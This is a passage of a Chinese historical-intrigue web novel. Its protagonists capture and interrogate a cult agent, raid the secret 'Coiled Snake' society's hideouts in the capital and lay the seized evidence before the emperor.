黎音袅看着他。灯光下,他脸色苍白,平日里总是含笑的眼眸此刻充满了焦虑与后怕。她的心,莫名地软了一下。 “我没有事。”她说,声音放缓了一些,“只是一些皮肉伤,不严重。” “不严重?”江令舟苦笑,“每次你都说不严重。等你哪天真的……”他猛地别过头,不愿再说下去。 “不会有那天。”黎音袅说。她走上前,想拉他的手,却被他避开。 “黎音袅,”江令舟转回头,眼神复杂,“你究竟有没有想过,你若是有个三长两短,我怎么办?京城的百姓是百姓,难道我就不是你的……”他再次顿住,后面的话没有说出口。 黎音袅心中一震。她从未想过这些。或者说,她刻意不去想。她的责任太重,容不得她有半分软弱和牵挂。但此刻,江令舟的话,像一根针,扎进了她心底最柔软的地方。 “我……”她一时语塞。 江令舟深吸一口气,语气稍缓,却依旧带着痛楚:“我知道你心怀天下,你想护着这京城,护着这万千黎民。可是,音袅,你也是血肉之躯,你也会疼,也会死。” “我不能退。”黎音袅说,声音有些沙哑,“我身后是京城,是无数信任我的人。我退一步,他们可能就会万劫不复。” “所以你就用自己的命去填?”江令舟反问,“这是唯一的办法吗?你就不能多带些人?就不能更小心一些?” “事发突然,我……” “够了。”江令舟打断她,“我不想听这些。我只想你安然无恙。”他走过来,小心翼翼地执起她受伤的右臂,看着那渗血的布条,眉头紧锁,“让府医过来,重新处理伤口。” 黎音袅没有反驳。她能感觉到他的手指在微微颤抖。 “青穗已经包扎过了。”她说。 “那不一样。”江令舟坚持。他扶着她在一旁的椅子上坐下,立刻扬声叫人去请府医。 书房内一时安静下来。 片刻后,江令舟问:“楼兰会做的?” “嗯。”黎音袅点头,“但有些蹊跷。”她将【盘蛇标记】的事情说了出来。“那些木桶底部,有一个【盘蛇】的烙印,并非楼兰会惯用的图腾。” 江令舟闻言,眉头蹙得更深:“【盘蛇】?我从未听过京中哪个势力用这种标记。难道是新冒出来的,或者……是楼兰会内部的分支,用了新的徽记?” “不清楚。”黎音袅摇头,“我已经让大理寺去查。此事,恐怕比我们想的更复杂。楼兰会或许只是棋子,或许他们背后还有更深的力量在操控。” 她看着江令舟:“所以,江府的守卫,必须加强。他们既然敢在永济渠动手,目标明确,手段狠辣,难保不会有其他图谋。” 江令舟看着她,眼神幽深:“你担心我?” “你是朝廷重臣,也是……我的朋友。”黎音袅说,避开了更深层的情感。 江令舟没有追问,只是轻轻叹了口气:“你总是把所有事情都揽在自己身上。” “我不揽,谁揽?”黎音袅反问,语气带着一丝她自己都未察觉的疲惫。 府医很快提着药箱进来,行礼后便开始为黎音袅处理伤口。解开染血的布条,那道伤口比江令舟想象的更长,皮肉翻卷,血迹已经半凝。 江令舟的呼吸一滞,他别开脸,不忍再看。 黎音袅却仿佛感觉不到痛一般,任由府医清洗、上药、包扎,眉头都未皱一下。 “夫人,伤口颇深,近日切勿沾水,亦不可再动武。”府医叮嘱。 “嗯。”黎音袅应了一声。 待府医退下,江令舟才重新看向她,声音里带着压抑不住的心疼:“疼吗?” 黎音袅抬起重新包扎好的手臂,动了动:“还好。” 江令舟走到她面前,蹲下身,平视着她:“音袅,答应我,以后无论如何,先保全自己。” 黎音袅看着他近在咫尺的脸,那双眼里的恳切让她无法回避。 她沉默片刻,终究没有给出承诺。 江令舟也没有再逼她。他站起身。 “夜深了,去歇息吧。” 第111章审讯 伤口愈合,黎音袅的右臂已能活动自如。 西山之事,迫在眉睫。 “我去。”黎音袅开口,语气平静。 江令舟正在擦拭佩剑,闻言动作一顿,未回头:“不行。” “我的伤好了。” “不行。”江令舟重复,将剑归鞘,“‘蛇眼’不是寻常匪类,西山地势复杂,你留下。” 黎音袅走到他面前:“江令舟,你我都知道,‘盘蛇’之事非同小可。我必须亲眼看看。” 他终于看她:“京中事务,大理寺的追查,永济渠的后续,哪一件离得了你?西山有我。” “你的人手,未必识得楼兰会那些诡谲伎俩,更遑论这个神秘的‘盘蛇’。”黎音袅坚持,“多一个人,多一分把握。” 江令舟沉默。他不是不清楚她的能力,只是……那道翻卷的皮肉,那半凝的血迹,在他脑中挥之不去。 “你若出事,我如何向信任你的人交代?”他问,声音低沉。 黎音袅心中一动。*他在担心我。不止是朋友的担心。* 她避开他探究的视线:“我不会有事。‘蛇眼’必须抓住,‘盘蛇’的线索,不能断。” “音袅,”江令舟上前一步,“这不是商议。你留在京城,坐镇指挥。这是命令。” 黎音袅蹙眉:“江令舟,你……” “暗羽卫只听我的。”江令舟打断她,“你若执意,只会让他们为难。” 黎音袅闭了闭眼。她明白,他心意已决。这种时候,与他硬抗,毫无益处。 “好。”她妥协,“但你要答应我,万事小心。‘蛇眼’此人,我听过一些传闻,手段阴狠,武功不弱。” 江令舟:“我记下了。” 他转身,没有再多言语,大步流星地出了书房。 黎音袅站在原地,许久未动。窗外,夜色深沉。 *‘盘蛇’……你究竟是什么?* 江令舟带领“暗羽”精锐,趁着夜色,悄然潜入西山。 月光被密林割裂,投下斑驳的影子。“暗羽”卫个个身手矫健,行动间悄无声息,如融入夜色的幽灵。 江令舟走在最前,目光锐利,扫视着周围每一寸土地。 山路崎岖,草木丛生。 他们搜寻了数个时辰,不放过任何一处可能的藏匿点。废弃的猎户小屋,隐蔽的岩洞,都一一探查。 一名“暗羽”卫打出手势,指向一处被藤蔓几乎完全遮掩的山壁。 江令舟靠近,拨开藤蔓。 一个幽深的洞口显露出来,洞口附近,有新近踩踏的痕迹。空气中,隐约飘来一丝硫磺与草药混合的怪异气味。 “就是这里。”江令舟低声道。 洞口外,有数名劲装汉子巡逻,腰间佩戴着楼兰会的弯刀。 江令舟做了几个手势,“暗羽”卫士们立刻分散开,悄无声息地包抄过去。 他深吸一口气,握紧了剑柄。 *音袅,等我消息。* 一声低沉的呼哨。 “暗羽”卫士们如离弦之箭,从暗处暴起,扑向那些楼兰会的喽啰。 “敌袭!”一名喽啰惊呼,声音戛然而止。 刀光剑影瞬间在洞口爆发。 “暗羽”卫配合默契,招式狠辣,几乎是压倒性的攻势。楼兰会的喽啰虽然悍勇,但在训练有素的“暗羽”面前,不堪一击。 惨叫声,兵器碰撞声,在寂静的山林中显得格外刺耳。 江令舟没有理会外围的战斗,身形一晃,直接冲入山洞。 山洞内光线昏暗,点着几支火把,照亮了石壁。 深处,一道人影盘膝而坐,仿佛对外界的厮杀充耳不闻。 那人缓缓站起身,转过来。 他身材中等,面容普通,唯独一双眼睛,细长阴鸷,如同伺机而噬的毒蛇。 “江令舟。”“蛇眼”开口,声音嘶哑,带着一种令人不适的黏腻感,“你终于来了。我等了你很久。” 江令舟没有废话:“束手就擒,或者,我让你再也说不出话。” “蛇眼”嗤笑一声:“京城里都说江指挥使智勇双全,今日一见,不过是个莽夫。” 他话音未落,身形陡然消失在原地。 江令舟早有防备,长剑一振,剑鸣清越,挡住了来自侧面的一击。 “蛇眼”手中握着两柄造型奇特的短刃,刃身弯曲,泛着幽蓝的光,显然淬了剧毒。 他的攻势极为刁钻,专攻江令舟的下三路与防守空隙,身法诡异步伐飘忽,确实与楼兰会那些直来直去的打法截然不同。 江令舟沉着应对,剑法大开大合,却又守得滴水不漏。 “你的主子是谁?”江令舟一边拆招,一边冷声喝问,“‘盘蛇’是什么组织?” “蛇眼”不答,攻势更急。短刃翻飞,带起阵阵阴风。 “你很快就会知道了。”“蛇眼”阴恻恻道,“当那条伟大的蛇苏醒,你们所有人,都将成为它的食粮。” 山洞空间有限,不利于长兵器施展。江令舟逐渐被逼得后退。 “蛇眼”的一柄短刃突然脱手飞出,直取江令舟面门。 江令舟侧身避过,那短刃咻地一声钉入石壁。 与此同时,“蛇眼”另一柄短刃已经欺近,目标是江令舟的腰腹。 江令舟左手探出,精准地抓住了“蛇眼”握刃的手腕。 “蛇眼”眼中闪过一丝错愕,随即变为狠厉。他手腕一翻,短刃竟从一个不可思议的角度反刺向江令舟的手臂。 江令舟手腕发力,咔嚓一声轻响。 “蛇眼”发出一声闷哼,短刃脱手。 江令舟一脚踹在他的胸口,“蛇眼”踉跄后退,撞在石壁上。 几名“暗羽”卫此时也解决了外面的喽啰,冲了进来,将“蛇眼”团团围住。 “蛇眼”捂着手腕,眼中满是怨毒:“江令舟,你以为抓到我就结束了?愚蠢!‘盘蛇’的力量,远超你的想象。” 江令舟一步步走近他:“我会让你把你知道的一切都说出来。” “做梦!”“蛇眼”突然张口,似乎要咬碎藏在牙齿里的毒囊。 江令舟早有预料,一掌切在他的下颌。 “蛇眼”闷哼一声,昏死过去。 一名“暗羽”上前,卸掉了他的下巴,仔细检查一番,确认没有自尽的手段。 “大人,此人身上搜出一物。”一名“暗羽”卫递过一块小小的金属牌。 江令舟接过,那是一块黑铁打造的盘蛇徽记,蛇身盘绕,蛇眼处镶嵌着细小的红色晶石,做工比木桶上的烙印精致许多,也更显邪异。 “带走。”江令舟下令。 一行人押着“蛇眼”,迅速撤离西山。 回到京城,天已微明。 江令舟直接将“蛇眼”押入大理寺天牢,交由专人看管。 他站在天牢外,看着那枚盘蛇徽记,久久不语。 *这条蛇,究竟盘踞在哪里?* 他转身,向皇宫方向走去。 第112章意料之中 大理寺天牢,灯火幽暗。 江令舟与黎音袅并肩立在审讯室外,室内,“蛇眼”被绑在特制的刑架上,形容狼狈,眼神却依旧凶狠。 “他招了吗?”黎音袅问,声音平静。 江令舟摇头:“骨头很硬。” “意料之中。”黎音袅推开审讯室的门。 江令舟跟了进去。 “蛇眼”看到两人,特别是黎音袅,咧嘴一笑,牵动了下颌的伤:“又来两个送死的。” 江令舟没有理会他的挑衅:“你的主子是谁?‘盘蛇’的总部在哪?” “蛇眼”啐出一口带血的唾沫:“想知道?去地狱问阎王吧。” 黎音袅走到他面前,手中把玩着那枚盘蛇徽记:“这东西,倒是做得精巧。你们‘盘蛇’,有多少人像你一样,戴着这个牌子,准备为那条‘伟大’的蛇献身?” “蛇眼”瞳孔微缩,随即狂热道:“蛇神的信徒遍布天下!你们这些凡人,根本无法理解蛇神的伟大!” 江令舟:“你口中的蛇神,如果真的伟大,为何不来救你?” “蛇眼”怒吼:“蛇神的光辉很快就会普照大地!你们的末日到了!” 黎音袅觉得好笑:“光辉?是像西山山洞里那样,藏头露尾,用毒蛇和见不得光的手段吗?”她顿了顿,“还是说,你们的蛇神,其实也只是一条见不得光的地沟鼠?” “你敢侮辱蛇神!”“蛇眼”挣扎起来,铁链哗啦作响。 江令舟冷眼旁观,他清楚黎音袅的手段,她擅长攻心。 黎音袅不为所动:“我只是在陈述事实。一个需要靠爪牙暗杀、下毒、制造恐慌来彰显存在的‘神’,听起来并不可靠。”她将盘蛇徽记凑近“蛇眼”,“你为它卖命,它给了你什么?一个随时可以被捏碎的身份,还是一颗随时准备自尽的毒囊?” “蛇眼”呼吸粗重,胸膛起伏。 江令舟适时开口:“你在西山的同伙,已经全部伏法。你在京城的布置,我们很快也会一一拔除。你以为你的牺牲有价值?” “你们休想!”“蛇眼”嘶声道,“‘盘蛇’的力量,你们永远无法想象!” 黎音袅:“是吗?比如,勾结朝中官员?” “蛇眼”身体一僵。 江令舟捕捉到这个细微的变化:“看来,我们猜对了。是哪些人?说出来,我可以给你一个痛快。” “蛇眼”闭上眼睛,不再言语,一副顽抗到底的模样。 黎音袅轻笑一声:“嘴硬是没用的。江指挥使,看来得用点别的法子了。”她看向江令舟,眼神交汇。 江令舟会意。他上前一步,声音不带任何情绪:“你的家人呢?‘盘蛇’会照顾他们吗?还是说,他们也会成为‘伟大’的蛇的食粮?” “蛇眼”猛地睁开眼,眼中血丝密布:“不准碰我的家人!” “这可由不得你。”江令舟道,“你为‘盘蛇’效力,你的家人,自然也在我们的清查范围之内。除非,你愿意合作。” 黎音袅补充:“我们可以保证,只要你如实交代,你的家人不会受到牵连。但如果你执迷不悟,他们将因你而获罪。通敌叛国,是什么下场,你比我清楚。” “蛇眼”的心理防线出现了一丝裂痕。他不是孤家寡人,他有妻儿。 他脑海中闪过妻儿的面容,眼中的狠厉渐渐被恐慌取代。 “你们……卑鄙!”他从牙缝里挤出几个字。 江令舟:“我们只是在给你选择的机会。是选择你的‘蛇神’,还是选择你的家人。” 黎音袅吹之以鼻:“你的‘蛇神’,你的‘蛇神’,能保住他们的命吗?” “蛇眼”喉结滚动,眼神在狂热与恐惧之间切换。他信仰“蛇神”,可那信仰此刻无法触及他的妻儿。 “你们到底想知道什么?”他声音沙哑,带着一丝不甘。 江令舟严厉的说道:“全部。京城的据点,你们的人,还有那些朝中勾结的官员。” “蛇眼”沉默片刻,似乎在权衡。他知道一旦开口,就没有回头路。可家人的安危,像一把刀悬在他心上。 “我说……但你们要保证,他们安全。”他终于松口。 黎音袅说道:“这是大理寺的承诺。只要你所言属实,绝不食言。” “蛇眼”深吸一口气,开始讲述。他的声音低沉,语调平铺直叙,却透露出令人心惊的内容。 “京城……有七处据点。明面上是商行、酒楼、甚至还有一间书肆。” 江令舟和黎音袅对视一眼。这些地方隐藏得极深。 “人手……京城里有潜伏的‘蛇仆’三百余人,随时听候调遣。” 三百人,这个数字让江令舟心中一沉。这股力量足以在京城掀起风浪。 “那些官员……”“蛇眼”犹豫了一下,咬牙道,“礼部侍郎宋大人,户部主事王大人,还有兵部的一个校尉……他们为‘盘蛇’提供情报,打通关节。” 黎音袅记下这些名字。礼部、户部、兵部,都是朝廷要害部门。 “你们的目的到底是什么?”江令舟问。 “蛇眼”冷笑一声:“制造混乱。京城一旦乱起来,朝廷的力量就会被牵制。然后……里应外合。” “里应外合?”江令舟追问。 “蛇眼”眼中闪过一丝狂热:“境外……楼兰人会从西域进攻,南疆的毒蛊门也会响应。‘盘蛇’负责在京城和内地制造动荡,削弱大楚。等时机成熟,蛇神就会苏醒,君临天下!” 黎音袅心中震惊。这已经不是简单的江湖势力,而是一场蓄谋已久的颠覆。楼兰会只是“盘蛇”在外面的一个分支,真正的核心,是这个自称“蛇神”的神秘存在,以及它庞大的野心。 江令舟的手按在剑柄上。境外势力、南疆毒蛊门、朝中官员,这盘棋下得太大了。 “蛇眼”继续交代了一些据点的具体位置和联络方式。他的声音越来越低,仿佛将压抑已久的秘密全部倾倒出来。 江令舟听着,脑中迅速构建着一张巨大的网络。这张网覆盖京城,延伸至西域和南疆,甚至渗透进了朝廷中枢。 “楼兰会……不过是冰山一角。”黎音袅轻声道。 “蛇眼”喘了口气:“你们以为抓了我,就能阻止一切?太天真了。蛇神的计划,不会停止。” 江令舟没有回应他的挑衅。他只关心如何阻止这一切。 “还有别的吗?”江令舟问。 “蛇眼”摇了摇头,眼神空洞。他已经将知道的一切都说了出来。 黎音袅示意一旁的暗羽卫。 “将他带下去,严加看管。”江令舟道。 暗羽卫上前,解开“蛇眼”身上的锁链,押着他离开了审讯室。 室内只剩下江令舟和黎音袅。灯火摇曳,将两人的影子拉长。 “宋侍郎,王主事,兵部校尉……”黎音袅重复着那几个名字,“这些人必须立即拿下。” 江令舟点头:“同时,要秘密布控‘蛇眼’提到的所有据点。” 他看向黎音袅:“这场仗,比我们想象的要艰难。” 黎音袅点了点头:“但我们没有退路。” 江令舟沉声道:“我去向陛下禀报。这些名单和计划,需要立即处理。” 他转身,迈步向外走去。 第113章准备行动 宫灯的光晕在冰冷的石壁上晃动,空气中残留着“蛇眼”绝望的气息。 黎音袅指尖攥紧那份写满罪恶的供词,纸张几乎要被她捻破。“礼部宋濂,户部王旭,兵部校尉孙达……这些人,必须在三日之内,全部拿下!”她的声音带着不容置喙的决绝。 江令舟看向她,眸色沉静:“‘蛇眼’所言七处据点,暗羽卫已经开始布控,今夜子时便可同时动手。但这些官员……”他顿了顿,“牵连甚广,且身居要职,仅凭‘蛇眼’一面之词,恐怕难以直接定罪。” “难以定罪?”黎音袅眉峰一挑,声调扬起,“难道要等他们将屠刀架在脖子上,才算证据确凿?‘盘蛇’的獠牙已经伸到朝堂,每多拖延一日,便多一分变数!”她心中焦灼,这份名单上的每一个名字,都像一根毒刺,扎在心头。 江令舟自然清楚其中的凶险。“我并非质疑,只是拿人须得有万全准备,尤其是朝廷命官。此事,必须立刻面呈陛下,请圣上定夺。”他深知,一旦动了这些人,朝中必将掀起轩然大波。 黎音袅沉默片刻,压下心头翻涌的情绪。“你说得对,是我想得简单了。但,绝不能让他们有喘息之机。” “我明白。”江令舟颔首,“我这就进宫。” 御书房内,烛火通明。 明黄的烛光映照在皇帝略显疲惫的脸上,他垂眸看着江令舟呈上的供词副本,以及那份京城“盘蛇”据点的详细分布图。良久,他才抬起眼,神色莫测。 “三百余人潜伏京畿,七处秘密据点,勾结朝臣,串联境外势力……”皇帝的声音听不出喜怒,“江爱卿,你觉得这份供词,有几分可信?” 江令舟垂首:“回陛下,此乃‘蛇眼’亲口招供,臣与长公主反复盘问,其言辞前后一致,不似作伪。且其所述部分据点特征,已得初步印证。”他心中微凛,圣意难测,陛下此问,是怀疑,还是试探? “哦?初步印证?”皇帝指尖轻点供词上礼部侍郎宋濂的名字,“宋濂,朕记得他去岁还曾上书,痛陈西域边防之弊,言辞恳切。这样的人,会是‘盘蛇’的内应?” 江令舟心中一动,陛下果然对这些大臣了如指掌。“人心隔肚皮,知人知面不知心。‘盘蛇’行事诡秘,选择的内应,或许正是看似最不可能之人。” 皇帝哼了一声,似是不置可否。“户部王旭,贪杯好色,有些小辫子在人手里不足为奇。兵部校尉孙达……一个小小校尉,能量倒是不小。”他拿起那份据点图,“这些地方,朕允你即刻查抄,所有涉案人员,一律拿下,严加审讯,务必挖出更多线索。” “谢陛下!”江令舟心中稍定。 “但是,”皇帝话锋一转,目光变得锐利,“宋濂、王旭、孙达这三人,暂且不动。” “陛下?”江令舟愕然抬头,“为何?若不及时控制,恐其闻风而逃,或销毁罪证!”黎音袅那句“三日之内”的急切言语在他耳边回响,他能理解她的焦急。 皇帝站起身,踱了数步。“‘蛇眼’既已落网,‘盘蛇’在京城的部署必然会做出调整。此时动这些官员,只会打草惊蛇。朕要知道,除了他们,还有谁?他们的上线是谁?那所谓的‘蛇神’,又究竟是何方神圣?” “可万一……” “没有万一。”皇帝打断他,“朕要的是一网打尽,而不是惊走几条小鱼。这些据点,你们尽管去抄,动静可以大一些,正好看看这水里,还有哪些鱼会自己跳出来。”他眼中闪过一丝寒芒,“至于宋濂他们,朕自有安排。你只需将查抄据点所得证据,及时呈报。” 江令舟心头一沉,陛下这是要放长线钓大鱼。可这其中的风险……“臣遵旨。只是,长公主那边……” “黎音袅是个急性子,但也是个聪明人。”皇帝摆了摆手,“你去告诉她,让她收起爪牙,耐心等待。有时候,猎物自己走进陷阱,比费力追捕要省事得多。” 江令舟默然,君心如海,他无法完全揣度。陛下似乎并不完全信任“蛇眼”的供词,或者说,他有更深远的考量。“臣明白了。” “去吧。”皇帝重新坐下,目光再次投向那份供词,“记住,朕要活口,更要他们背后那张更大的网。” 从皇宫出来,夜色已深。 江令舟直接去了大理寺,黎音袅果然还在等他,行色匆匆地迎了上来。 “令舟?陛下怎么说?”不等江令舟开口,她便急切追问。 江令舟将皇帝的决定简述了一遍。 “什么?暂且不动那些官员?”黎音袅的声音陡然拔高,凤眸圆睁,怒意与不解交织,“陛下这是何意?养虎为患吗?一旦他们得到消息,我们所有的努力都将付诸东流!”她无法理解,证据已经摆在面前,为何还要犹豫。 “陛下自有考量。”江令舟语气平静,“或许,陛下想通过敲山震虎,引出更多藏匿之人。”他试图解释,但自己也觉得这个理由有些苍白。 “考量?引蛇出洞?”黎音袅冷笑一声,“蛇若真被惊动,只会缩回洞里,甚至反咬一口!江令舟,你也是这么想的?”她直视着他,目光灼灼。 江令舟沉默。他当然不完全认同,但他必须执行。“圣命难违。我们今夜的任务,是清剿据点,收集罪证。” “好一个圣命难违!”黎音袅胸口起伏,显然气得不轻,“那我倒要看看,这些据点能抄出什么惊天动地的证据,能让陛下下定决心!”她一甩袖,转身便走。 “音袅!”江令舟叫住她,“今夜行动,非同小可,你需要……” “我需要冷静。”黎音袅打断他,头也不回,“你的人手若是不够,我大理寺的人可以随时调用。但抓捕朝廷命官之事,既然陛下另有打算,我便拭目以待。” 看着她决然离去的背影,江令舟轻轻叹了口气。他知道黎音袅是为了大局,这份急切源于她对“盘蛇”的痛恨。 “将军,”一名暗羽卫统领上前,“各处据点已布控完毕,只等将军一声令下。” 江令舟收敛心神,眼中恢复了惯有的冷静与锐利。“传令下去,子时准时行动。记住,陛下要活口,更要证据。”他停顿了一下,补充道:“若遇顽抗,格杀勿论。但务必小心,‘盘蛇’之人,手段狠辣,不可轻敌。” “是!” 夜风渐冷,京城的暗夜之下,一场风暴即将来临。江令舟抬头望向沉沉的夜空,他知道,这仅仅是个开始。陛下按兵不动,或许真有深意,又或许,这盘棋的复杂程度,远超他的想象。他唯一能做的,便是走好眼下的每一步。 他翻身上马,夜色吞噬了他的身影。 第114章一网打尽 子时三刻,京城七处据点,暗羽卫如夜枭般悄然接近。 城西那间平日里只有寥寥数人的书肆,此刻却由黎音袅亲自带队。她一脚踹开半掩的门,厉声道:“搜!任何角落都不能放过!”大理寺的捕快们早已习惯了这位上司的雷厉风行,立刻四散开来。书肆内弥漫着陈旧纸张与淡淡墨香,似乎并无异常。 一名捕头快步上前:“长公主,都查过了,是些寻常书册,账目也无甚出奇之处。” 黎音袅凤眸一扫,冷哼:“寻常?‘盘蛇’的巢穴,会有寻常之物?若真如此简单,还要我们大理寺作甚!继续搜,掘地三尺也要给我把东西找出来!”她心中的火气自昨夜起便未曾消散,陛下的“耐心等待”,在她看来就是纵容。 她亲自踱步,手指划过一排排书架,目光锐利如鹰。突然,她停在一处不起眼的角落,这里的书架颜色似乎比别处的要深一些,排列也略显刻意。她伸手敲了敲,声音微空。“来人,把这个给本官拆了!” 几名捕快上前,费力地挪动书架,轧轧声后,墙壁上竟露出一道暗门。门后并非密室,而是一个巧妙的夹层,里面整齐码放着数百份用特殊符号标记的文书,旁边还有几本厚厚的册子。 一名识字的佐官拿起一本册子,略一翻阅,面露惊容:“长公主,这……这似乎是西域密语的译本!” 黎音袅接过一份文书,上面的符号弯弯曲曲,确非中原文字。她再翻开那译本,两相对照,片刻后面色凝重,嘴角却扬起一抹冷冽的笑:“好,好得很!加密文书,西域密语!‘盘蛇’的尾巴,终于露出来了!”她将文书狠狠拍在桌上,“有了这些,我看他们还有何话说!陛下若见了这些铁证,总该下定决心了吧!” “长公主英明!”周围的捕快纷纷称赞。 黎音袅却无半分得意,她深知,这些东西若不能促使陛下立刻行动,便与废纸无异。“将所有文书、译本全部封存,立刻送回大理寺,严加看管!若有走漏,提头来见!” “是!” 与此同时,城东最大的一家绸缎庄“锦绣行”地下,江令舟正面临着顽强的抵抗。暗羽卫与十数名手持利刃的护院恶斗,空气中弥漫着血腥气。 “将军,里面的人招招致命,不像是普通商行的护院。”一名暗羽卫捂着手臂的伤口,沉声道。 江令舟面色不变:“‘盘蛇’豢养的死士,自然不同。速战速决,留活口。”他要的不仅是据点,更是据点里的人,以及他们脑中的秘密。 片刻之后,抵抗被彻底瓦解。一名暗羽卫上前禀报:“将军,内部清剿完毕,发现一条通往地下的暗道。” 江令舟迈入暗道,潮湿腐朽的气息扑面而来。尽头是一间宽敞的地下密室,火把照亮四周,触目所及,竟是成箱堆叠的黑色火药,角落里还摆放着数十个陶罐,里面隐约可见蠕动的虫豸,正是令人闻之色变的毒蛊标本。 他心中一沉,火药、毒蛊,这些东西同时出现在京城腹地,其心可诛。“盘蛇”所图,绝非仅仅是敛财那么简单。 密室深处,一名身着绸缎的中年男子被两名暗羽卫死死按在地上,兀自挣扎不休,口中喝骂:“你们究竟是什么人?胆敢闯我‘锦绣行’!可知我是何身份?” 江令舟缓步上前,声音平静无波:“你是什么身份,本将军不感兴趣。本官只想知道,这些火药,这些毒蛊,是谁让你藏匿于此?意欲何为?” 那人抬起头,看清江令舟的瞬间,瞳孔骤缩,随即又换上一副桀骜的神情:“我不过是个生意人,这些东西,不过是西域客商寄存在此,与我何干?” “西域客商?”江令舟的语气带上一丝嘲讽,“据我所知,‘锦绣行’的东家,乃是兵部武库司的张校尉。张校尉,你说是也不是?” 那中年男子脸色瞬间煞白,不再言语。兵部的人,竟是“盘蛇”在京城据点的重要头目。江令舟心中念头飞转:“兵部武库司校尉……‘盘蛇’的手,已经伸到军中了。陛下迟迟不肯对朝中官员动手,莫非,正是顾忌牵连太广,动摇国本?”他不得不承认,皇帝的考量,或许比他所想的更为深远。 “将他拿下,严加看管。”江令舟下令,“所有证物,仔细清点造册。” “是!” 黎明前的黑暗最为深沉。随着时间的推移,其余五处据点的消息也陆续传来。 “禀将军,南城粮行据点已破,缴获‘盘蛇’成员名册一份,涉及人员众多!” “禀将军,北郊别院据点已被控制,发现一条通往城外的秘密地道,看守者激烈反抗,已尽数格杀!” 当第一缕晨曦撕破夜幕,洒落在这座经历了一夜动荡的京城时,七处据点已尽数被端。初步清点,捕获“蛇仆”三百余名,各据点主要负责之人,皆未能逃脱。 江令舟回到临时指挥处,桌案上已经堆满了从各处搜缴上来的罪证。黎音袅带着一身寒气走了进来,她的目光首先便落在了那些带着刺鼻气味的火药箱和封存的毒蛊标本上。 “火药?还有毒蛊?”黎音袅的声音透着一股压抑的怒火,“江令舟,我们这次抄出来的东西,分量不轻啊!主犯还是个兵部校尉?” 江令舟点了点头:“张校尉负责城东据点,那些火药与毒蛊,便是从他那里搜出。” “兵部的人!”黎音袅的拳头不由自主地握紧,“好一个‘盘蛇’,真是无孔不入!我倒要看看,这次陛下还有什么理由按兵不动!”她的怒气并非针对江令舟,而是积压已久对幕后黑手的愤恨,以及对当前局势的焦灼。 江令舟沉默片刻,道:“所有证物,我会即刻整理,呈报陛下。” “呈报?然后呢?”黎音袅上前一步,直视着他,“继续等陛下的‘长线’,等那条‘大鱼’自己浮出水面?现在的情况,是整张渔网都快被鱼撑破了!”她的语气中充满了对这种被动等待的不满和担忧。 江令舟没有回应她的质问。他何尝不知这些罪证的分量,何尝不希望雷霆一击,将“盘蛇”连根拔起。但他更清楚,皇帝心中那盘棋,远比他们看到的要复杂。这一夜的收获,或许会加快陛下的决心,也或许,会让他更加谨慎。 他望向窗外微亮的东方,京城一夜未眠,而这,仅仅是一个开始。 江令舟转过身,对身后的暗羽卫统领道:“清点所有缴获,登记在册,严加看管。” “是!” 他看着那些堆积如山的罪证,心中并无半分轻松。 第115章拿下 金銮殿内,气氛凝重如铁。 江令舟一夜未眠,此刻立于丹陛之下,将连夜整理的罪证一一呈上。皇帝端坐龙椅,面沉似水,殿中百官垂首,连呼吸都带着小心翼翼的试探。 “陛下,此乃从‘锦绣行’等七处‘盘蛇’据点搜缴之物。”江令舟的声音清晰而冷静,打破了殿内的死寂,“其中,城东据点,亦即兵部武库司张校尉的私宅,搜出火药三百斤,烈性毒蛊五十罐,另有伪造的官印、兵符、城防图……” 每念出一项,百官的头便垂得更低一分。兵部武库司,那是什么地方?火药,兵符,城防图……这些东西组合在一起,指向一个不言而喻的可能——谋逆。 皇帝的指节因紧握而泛白,他没有立刻说话,目光如鹰隼般掠过下方噤若寒蝉的臣子。 江令舟心中微凛。他知道,这一夜的清剿,端掉的不过是“盘蛇”在京城的几处触角。那张校尉,恐怕也只是个弃子。真正的毒蛇,还藏在更深的地方。陛下此刻的沉默,是在权衡,还是在积蓄雷霆之怒? 皇帝终于开口,声音带着一丝金属摩擦般的嘶哑:“张校尉……兵部武库司……好,好得很!” 他一连说了三个“好”字,每个字都像是一记重锤,砸在众人的心头。 “江令舟,你认为,此事当如何处置?”皇帝的目光重新落回江令舟身上。 这个问题,既是考较,也是试探。江令舟躬身:“臣以为,‘盘蛇’组织渗透之深,已非寻常江湖草寇。张校尉身为兵部官员,竟沦为贼首,其罪当诛。然其背后,必有更大黑手操控。恳请陛下圣断,彻查此案,肃清朝纲,以安民心,以固国本!” 他这番话说得滴水不漏,既表明了立场,又将最终的决定权交回了皇帝。他心底清楚,皇帝虽然震怒,但心中顾忌重重。“盘蛇”牵连太广,若真的深挖,恐怕整个朝堂都要抖三抖。陛下,真的准备好了吗? “肃清朝纲?以固国本?”皇帝猛地从龙椅上站起,龙袍的衣角带起一阵厉风,“他们都要掘朕的江山社稷了,还谈什么国本!?” 他的咆哮在大殿中回荡,带着无尽的怒火与失望:“朕宵衣旰食,励精图治,换来的就是这群蛀虫在暗中啃噬大楚的根基吗?兵部!他们竟然把手伸到了兵部!” “传朕旨意!”皇帝的声音陡然拔高,带着不容置喙的威严,“所有涉案官员,无论品阶高低,一律革职下狱!着刑部、大理寺、都察院三司会审!抄没家产,诛其三族!” “诛三族”三个字一出,殿中顿时响起一片倒抽冷气的声音。有几位年迈的官员,甚至腿脚一软,险些跌倒。这,是要掀起一场血雨腥风啊! 江令舟心中也是一震。他预料到皇帝会震怒,却没有想到会如此雷霆万钧。看来,兵部武库司的火药和毒蛊,真正触动了皇帝的逆鳞。“陛下圣明!”他叩首领旨。此刻,他不能有丝毫犹豫。 就在这时,一道清冽的女声响起,如碎冰击玉:“陛下息怒!臣,有物证呈上!” 众人循声望去,只见黎音袅手捧一物,昂首步入殿中。她今日未着戎装,却依旧英姿飒爽,眉宇间带着一股不屈的锐气。她一直静立于殿角,此刻才在最关键的时候现身。 “黎音袅,你有何物证?”皇帝的怒气稍敛,但威压仍在。 黎音袅走到殿中,高高举起手中的东西——一枚黝黑古朴的蛇形徽记。“陛下请看,此乃‘盘蛇’组织头目的信物。昨夜清剿,从数名主犯身上搜得。其形诡秘,其意歹毒!” 她的声音铿锵有力:“据俘获的‘蛇仆’交代,此物不仅是身份象征,更是他们联络、传递消息的凭证。此獠纠集江湖亡命,暗中操控官员,渗透军中要害,囤积火药毒物,其狼子野心,昭然若揭!他们妄图以江湖草寇之力,搅乱朝堂,颠覆社稷,此等行径,若不严惩,天理何在!国法何存!” 